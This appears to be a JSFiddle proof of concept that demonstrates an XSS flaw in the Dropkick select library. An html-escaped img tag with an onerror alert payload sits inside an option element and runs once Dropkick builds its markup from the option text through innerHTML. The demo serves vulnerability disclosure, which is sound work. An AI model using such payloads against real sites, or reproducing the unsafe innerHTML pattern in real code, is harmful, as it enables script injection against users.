JSFiddle - React, Tailwind, and code Playground

HTML

<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/dropkick.js"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/dropkick.css">
<html>
<body>
<h1>
Dropkick XSS Vulnerability Demo
</h1>
<p>
Below is a <code>select</code> that will become a Dropkick select after 2 seconds.
The <code>select</code> contains an <code>option</code> with an html-escaped <code>img</code> tag with an <code>onerror</code> handler.
Note how the script is then executed once the Dropkick markup is built.
This is due to Dropkick setting <code>div innerHTML</code> based on the <code>option</code> element <code>text</code>.
</p>
<select id="my-dk">
<option>&lt;img src="doesnotexist" onerror="alert('xss')"&gt;</option>
</select>
</body>
</html>

JavaScript

setTimeout(() => {
  new Dropkick(document.getElementById('my-dk'))
}, 2000)